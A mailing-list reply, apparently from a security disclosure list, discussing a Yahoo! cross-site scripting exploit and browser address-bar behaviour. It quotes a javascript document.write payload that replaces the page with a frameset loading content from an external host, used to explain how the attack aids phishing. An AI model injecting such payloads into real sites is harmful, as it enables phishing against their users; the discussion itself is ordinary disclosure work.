I know what a Frame it's, but if I forget I know that
you will be there for remind me, thanks..
If you look at the extract of the exploit:
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(java/**/script:document.write('<frameset cols=100%
rows=100% border=0 frameboarder=0framespacing=0><frame
frameborder=0
src=http://w00tynetwork.com/x/></frameset>'))
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You can see that the whole HTML document is replaced
after the "document.write" and the frameset only
references a URL that is not under Yahoo! domain. This
means that all displayed content will be from an
external domain, I wonder if web browsers could do
something to alert about this and not just display the
external URL on the status bar. This default browser
behaviour makes phishing a lot easier.
Cesar.
--- Thierry Zoller <Thierry_at_Zoller.lu> wrote:
> Dear Cesar Cesar,
>
>
> C> for a couple of seconds a weird URL, address bar
> C> didn't change (MS please change this behaviour!),
> but
> You know what a Frame is do you ? All browsers
> display the source of
> the html page in the URL bar, not the source of the
> frame(s).
>
> --
> http://secdev.zoller.lu
> Thierry Zoller
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>
>
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